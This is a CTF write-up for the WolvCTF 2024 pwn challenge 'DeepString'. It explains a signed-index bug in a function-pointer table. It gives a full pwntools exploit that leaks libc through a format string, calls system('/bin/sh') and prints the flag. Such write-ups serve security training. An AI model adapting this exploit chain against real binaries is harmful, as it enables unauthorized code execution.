3.9 KiB
| title | date | tags | ||
|---|---|---|---|---|
| WolvCTF 2024 - Pwn: DeepString | 2024-03-20 |
|
Task
I had DeepThought running, but Wolphv reprogrammed it so that it now only performs string functions...
nc deepstring.wolvctf.io 1337
Author: didkdPoints: 369Solves: 44 / 622 (7.074%)
Writeup
This challenge lets us run various string functions. Decompiling the binary, we see the following:
// in main()
...
var_38h = (int64_t)length;
var_30h = (int64_t)to_lower;
var_28h = (int64_t)to_upper;
var_20h = (int64_t)reverse;
do {
puts("Choose a function:\n 0) length\n 1) to_lower\n 2) to_upper\n 3) reverse\n");
__isoc99_scanf("%d", &var_3ch);
if (3 < (int32_t)var_3ch) {
puts(...);
exit(_EXIT_CODE & 0xffffffff);
}
fn_call((uint64_t)var_3ch, (int64_t)&var_38h);
} while( true );
// in fn_call()
...
var_11ch._0_4_ = (int32_t)arg1;
...
fgets((int64_t)&var_11ch + 4, 0x100, _stdin);
...
(**(code **)(arg2 + (int64_t)(int32_t)var_11ch * 8))((int64_t)&var_11ch + 4);
...
In main, an array of 4 function pointers is created. Then, the program takes an integer from stdin and ensures it is not greater than 3. The index and a pointer to the array are passed to fn_call.
In fn_call, the program takes 0x100 bytes of input to use as the argument to the string function. Then it calls the string function by indexing into the array passed as an argument.
Note that while fn_call takes an unsigned integer as the first argument, both the call to scanf and the bounds check treat var_3ch as a signed integer. This allows us to input a negative number as the index. Additionally, our string input will be before the array in memory, so we can jump to any address as long as we put it in the buffer.
Another thing we can find in the binary is the unused reflect function, which simply calls printf with the argument given. Since this function let's us control the format string, we can use it to leak the address of libc:
from pwn import p64, process, gdb, ELF, context, flat, u64, remote
p = remote('deepstring.wolvctf.io', 1337)
e = ELF('./DeepString')
# obtained from the provided Dockerfile
libc = ELF('./libc.so.6')
payload = flat(
# print the 15th format argument as a string
b'##%15$s\x00',
# set the 15th format argument to be printf's GOT address
e.got['printf'],
# put the address of reflect onto the stack, so we can jump to it with a negative index
e.symbols['reflect']
)
# negative index that jumps to reflect
p.sendline(b'-36')
p.sendline(payload)
p.recvuntil(b'##')
printf_addr = u64(p.recvn(6) + b'\x00\x00')
libc_addr = printf_addr - libc.symbols['printf']
Now that we know where libc is, we can call system("/bin/sh") with the following:
system_addr = libc_addr + libc.symbols['system']
p.sendline(b'-37')
payload = flat(
# set the argument to system
b'/bin/sh\x00',
# put the address of system onto the stack
system_addr,
)
p.sendline(payload)
p.interactive()
$ python d.py
[+] Opening connection to deepstring.wolvctf.io on port 1337: Done
[*] '/tmp/DeepString'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/tmp/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
Choose a function:
0) length
1) to_lower
2) to_upper
3) reverse
Provide your almighty STRING:
$ ls
chal
flag.txt
$ cat flag.txt
wctf{2in1!_tH3_4n5w3R_1S_42_bTw}